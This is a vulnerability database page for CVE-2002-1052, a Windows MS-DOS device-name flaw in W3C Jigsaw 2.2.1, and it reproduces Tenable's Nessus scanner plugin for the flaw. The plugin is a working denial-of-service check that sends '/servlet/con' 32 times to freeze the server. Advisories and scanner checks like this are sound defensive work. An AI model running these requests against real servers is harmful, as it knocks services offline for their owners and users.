Vulnerabilities > CVE-2002-1052 - Path Disclosure vulnerability in W3C Jigsaw 2.2.1

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
NONE
Availability impact
PARTIAL
network
low complexity
w3c
nessus
NVD
Published: 2002-10-04
Updated: 2016-10-18

Summary

Jigsaw 2.2.1 on Windows systems allows remote attackers to use MS-DOS device names in HTTP requests to (1) cause a denial of service using the "con" device, or (2) obtain the physical path of the server using two requests to the "aux" device.

Vulnerable Configurations

Part Description Count
Application
W3C
1

Nessus

NASL familyWeb Servers
NASL idJIGSAW_MSDOS_DEV_DOS.NASL
descriptionThe version of Jigsaw web server running on the remote host has a denial of service vulnerability. It was possible to exhaust all of the web server
last seen2020-06-01
modified2020-06-02
plugin id11047
published2002-07-17
reporterThis script is Copyright (C) 2002-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/11047
titleJigsaw Webserver MS/DOS Device Request Remote DoS
code
#
# (C) Tenable Network Security, Inc.
#

# Script audit and contributions from Carmichael Security 
#      Erik Anderson <[email protected]> (nb: this domain no longer exists)
#      Added BugtraqID and CAN
#


include("compat.inc");


if(description)
{
 script_id(11047);
 script_version("1.26");
 script_cve_id("CVE-2002-1052");
 script_bugtraq_id(5258);

 script_name(english:"Jigsaw Webserver MS/DOS Device Request Remote DoS");
 script_summary(english:"Jigsaw DOS dev DoS");
 
  script_set_attribute(
   attribute:"synopsis",
   value:"The remote web server has a denial of service vulnerability."
 );
 script_set_attribute( attribute:"description",  value:
"The version of Jigsaw web server running on the remote host has a
denial of service vulnerability.  It was possible to exhaust all of
the web server's available threads by requesting '/servlet/con' about
thirty times.  A remote attacker could exploit this to repeatedly
freeze the web server." );
 script_set_attribute(
   attribute:"see_also",
   value:"https://seclists.org/bugtraq/2002/Jul/191"
 );
 script_set_attribute(
   attribute:"solution", 
   value:"Upgrade to the latest version of this software."
 );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");
 script_set_attribute(attribute:"plugin_publication_date", value: "2002/07/17");
 script_set_attribute(attribute:"vuln_publication_date", value: "2002/07/17");
 script_cvs_date("Date: 2018/11/15 20:50:25");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();
 
 script_category(ACT_DENIAL);
 script_family(english:"Web Servers");

 script_copyright(english:"This script is Copyright (C) 2002-2018 Tenable Network Security, Inc.");

 script_dependencie("find_service1.nasl", "os_fingerprint.nasl");
 script_require_ports("Services/www", 80);

 exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


os = get_kb_item("Host/OS");
if ( ! os || "Windows" >!< os ) exit(0);

port = get_http_port(default:80);
if (http_is_dead(port: port)) exit(0);
banner = get_http_banner(port:port);
if (! banner || "Jigsaw" >!< banner ) exit(0);


url = '/servlet/con';

for (i=0; i<32;i=i+1)
{
 res = http_send_recv3(method:"GET", item:url, port:port);

 if (isnull(res))
 {
   security_warning(port);
   exit(0);
 }
}

if(http_is_dead(port:port))security_warning(port);

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